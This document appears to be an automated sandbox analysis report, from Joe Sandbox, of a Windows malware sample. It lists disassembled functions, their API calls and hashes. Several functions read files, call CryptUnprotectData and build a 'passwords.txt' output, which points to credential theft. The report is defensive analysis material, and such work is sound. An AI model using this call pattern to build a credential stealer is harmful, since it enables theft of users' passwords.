Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 9886c82fecb9f3125f667299c6ef3e0857c1dfb2ea167e3ec2def90ba2a3b5ac
Instruction ID: f4f1a2d4255f682daaa1a6e39fdcfa2a7593a782216fbde19863027b82b9324b
Opcode Fuzzy Hash: 9886c82fecb9f3125f667299c6ef3e0857c1dfb2ea167e3ec2def90ba2a3b5ac
Instruction Fuzzy Hash: 55012C723403166BF7304F959C46F66B7ACEF55BA1F280425FB48EA2C0D7B1A8118BA4

Function 0030A130 Relevance: 4.6, APIs: 3, Instructions: 132fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT(00000000,?,?,?,00000000,?,?,?,0030A775,?,00000000,?,00004000,00000000,00000000,?), ref: 0030A185
memcpy.MSVCRT(?,?,?,?,00000000,?,?,?,0030A775,?,00000000,?,00004000,00000000,00000000,?), ref: 0030A244
WriteFile.KERNEL32(?,?,?,?,00000000,?,00000000,?,?,?,0030A775,?,00000000,?,00004000,00000000), ref: 0030A26A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: memcpy$FileWrite
String ID:
API String ID: 3457131274-0
Opcode ID: 624c92fe13bd2054ffbdbbbf8eca5b1c525281a40635297f676c59b1710cd675
Instruction ID: fec17a9acd059f10915e74be088f68285009c6c1dff35c5934640f9094796685
Opcode Fuzzy Hash: 624c92fe13bd2054ffbdbbbf8eca5b1c525281a40635297f676c59b1710cd675
Instruction Fuzzy Hash: 5141E371611B049BC738DF69E991A67F7F8FF98310F54892EE88A87A40D631F904CB50

Function 0030A440 Relevance: 4.6, APIs: 3, Instructions: 75timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,?,00000000,?,?,?,0030BE5D,?,?), ref: 0030A49B
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,0030BE5D,?,?), ref: 0030A4A9

Part of subcall function 00309D30: FileTimeToSystemTime.KERNEL32(?,?,?,?,?,0030BE5D,?,?,?,0030BE5D,?,?), ref: 00309D3E

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0030A4E1

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: ac7adae78e69878d6e8ff85301c7baf670817be22f36fc4995c3d356c6913540
Instruction ID: 3620b7befca90357c7b826eee879ab0133e2a7e9d1af6b6659230ac905e96829
Opcode Fuzzy Hash: ac7adae78e69878d6e8ff85301c7baf670817be22f36fc4995c3d356c6913540
Instruction Fuzzy Hash: D4212AB1900B489FD725DF6DD880AAABBF8FB48304F50892EE59EC7700D770A544CBA4

Function 002F6D50 Relevance: 4.5, APIs: 3, Instructions: 47memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 002F6D75
LocalAlloc.KERNEL32(00000040,?), ref: 002F6D8D
LocalFree.KERNEL32(?), ref: 002F6DAE

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: 881fb81040415a3cb5a66bf37c7ced16f001acfd3065ec87c5d33a37fb5279e4
Instruction ID: fb2f6053fef04029bc8e94af6e1ab1ad6970e4fb6d259265d82d838380ea8dfe
Opcode Fuzzy Hash: 881fb81040415a3cb5a66bf37c7ced16f001acfd3065ec87c5d33a37fb5279e4
Instruction Fuzzy Hash: 97011E79610209ABEB14DFA8DC55FAAB7B9EF88700F144559FA04DB280D771E9018B90

Function 0030ECC8 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001EC86), ref: 0030ECCD

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0fa0766d649dd709b332c8470b7f8bbd5c02974f783d2dc3d5713f9220524df3
Instruction ID: e590d5fdee102096e53b18d6ba7d96ba5c8f0fa399e47b7f17d12718fac48232
Opcode Fuzzy Hash: 0fa0766d649dd709b332c8470b7f8bbd5c02974f783d2dc3d5713f9220524df3
Instruction Fuzzy Hash: 499002E035210047A65657B05E1D58525955B4C722B414850E119D4094DE9141849721

Function 00309B30 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6abe0d754e88d4ea034400bb6dac39f9971c1ac4e2d9a23854e9ca1c342e9395
Instruction ID: 8a8e0bc30e5f1372c7f620c5ec0e9603d2192651545005937a6b3742196ce81a
Opcode Fuzzy Hash: 6abe0d754e88d4ea034400bb6dac39f9971c1ac4e2d9a23854e9ca1c342e9395
Instruction Fuzzy Hash: 562190339794BB01E7428BB2EC5467237E7DBCA305F6F81B5DA4887682D23DE442D220

Function 00309B58 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc6cb10162a1e0ec64afa14140fa60e9a749ccd3195322d123485548d2d4c17e
Instruction ID: 68b0c50a4bebb1ccc3c8e3678a362130867fdde78216f19033db12c48351cb93
Opcode Fuzzy Hash: bc6cb10162a1e0ec64afa14140fa60e9a749ccd3195322d123485548d2d4c17e
Instruction Fuzzy Hash: 83212C338B94B705E7528BB1AC1467227E3DBDA30AF6F85B5CA8487552D33ED043D211

Function 002F1000 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75cf99f039a1e854ba8d590396a2eec3821c6c0c10bc203e0cfc231443454280
Instruction ID: 99e2ef522daf836b1bce5c768014d3f4db73f188b3255d3357107ea11911004c
Opcode Fuzzy Hash: 75cf99f039a1e854ba8d590396a2eec3821c6c0c10bc203e0cfc231443454280
Instruction Fuzzy Hash: 97F0FEB1C007199FCB54DFADD5415AEFBF4FB08220B10866ED46AE3640E631AA408B51

Function 002F8AA0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 250stringmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002FF810: lstrcpy.KERNEL32(00000000,00000001), ref: 002FF839

Part of subcall function 002FF940: lstrcpy.KERNEL32(00000000,?), ref: 002FF981
Part of subcall function 002FF940: lstrcat.KERNEL32(00000000), ref: 002FF98D

Part of subcall function 002FF8F0: lstrcpy.KERNEL32(00000000), ref: 002FF930

Part of subcall function 002FF9A0: lstrlen.KERNEL32(00000000,?,?,00000000,?,002F4732,?,------,?,?,?,--,00000000,?,00000000), ref: 002FF9B9
Part of subcall function 002FF9A0: lstrcpy.KERNEL32(00000000,?), ref: 002FF9E1
Part of subcall function 002FF9A0: lstrcat.KERNEL32(?,00000000), ref: 002FF9EB

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,02F45258,00000000,?,003101E0,00000000,?,?), ref: 002F8B6A
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 002F8B84
GetFileSize.KERNEL32(00000000,00000000), ref: 002F8B8D
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 002F8B9C
??_U@YAPAXI@Z.MSVCRT(00000001), ref: 002F8BA6
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 002F8BB9
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 002F8BC6
RtlAllocateHeap.NTDLL(00000000), ref: 002F8BCD
StrStrA.SHLWAPI(00000000,02F45240), ref: 002F8BDD
StrStrA.SHLWAPI(-00000010,02F45300), ref: 002F8BFB
lstrcat.KERNEL32(00000000,02F433A8), ref: 002F8C0E
lstrcat.KERNEL32(00000000,00000000), ref: 002F8C1E
lstrcat.KERNEL32(00000000,003134BC), ref: 002F8C2A
lstrcat.KERNEL32(00000000,00000000), ref: 002F8C3A
lstrcat.KERNEL32(00000000,003134B8), ref: 002F8C46
lstrcat.KERNEL32(00000000,02F43258), ref: 002F8C54
lstrcat.KERNEL32(00000000,-00000010), ref: 002F8C5C
lstrcat.KERNEL32(00000000,00313408), ref: 002F8C68
StrStrA.SHLWAPI(00000000,02F45620), ref: 002F8C79
StrStrA.SHLWAPI(00000014,02F455C0), ref: 002F8C89
lstrcat.KERNEL32(00000000,02F43348), ref: 002F8C9D

Part of subcall function 002F8980: memset.MSVCRT ref: 002F89A9
Part of subcall function 002F8980: lstrlen.KERNEL32(?,00000001,?,00001FA0,00000000,00000000), ref: 002F89C6
Part of subcall function 002F8980: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 002F89CE
Part of subcall function 002F8980: memcpy.MSVCRT(?,?,?), ref: 002F8A3A

lstrcat.KERNEL32(00000000,00000000), ref: 002F8CAE
lstrcat.KERNEL32(00000000,00313408), ref: 002F8CBA
StrStrA.SHLWAPI(00000000,02F455C0), ref: 002F8CCB
StrStrA.SHLWAPI(00000014,02F432F8), ref: 002F8CDB
lstrcat.KERNEL32(00000000,02F45288), ref: 002F8CEF

Part of subcall function 002F8980: lstrcat.KERNEL32(003101E9,003101E9), ref: 002F8A6D

lstrcat.KERNEL32(00000000,00000000), ref: 002F8D00
lstrcat.KERNEL32(00000000,00313408), ref: 002F8D0C
lstrcat.KERNEL32(00000000,00313408), ref: 002F8D18
StrStrA.SHLWAPI(00000000,02F45240), ref: 002F8D29
lstrlen.KERNEL32(00000000), ref: 002F8D3D
CloseHandle.KERNEL32(00000000), ref: 002F8D7A

Strings

passwords.txt, xrefs: 002F8D4A

Memory Dump Source

Source File: 00000000.00000002.2693911043.00000000002F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002F0000, based on PE: true

Associated: 00000000.00000002.2693873375.00000000002F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000320000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000324000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000328000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000033E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000406000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000040C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000417000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000458000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000045F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000466000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000498000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004A4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.00000000004F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000051A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.000000000052B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2693911043.0000000000533000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694396727.0000000000535000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2694425266.0000000000537000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2f0000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$lstrlen$HeapPointer$AllocateBinaryCloseCreateCryptHandleProcessReadSizeStringmemcpymemset
String ID: passwords.txt
API String ID: 2200313820-347816968
Opcode ID: 273e4f9af4366b4377b0d96faaac35545d35b7a36dc04c4ec1d83e510105ea3f
Instruction ID: 9f809882fe0c5e6c161006d043ffa95332314c883e066e18908492f44fd950e2
Opcode Fuzzy Hash: 273e4f9af4366b4377b0d96faaac35545d35b7a36dc04c4ec1d83e510105ea3f
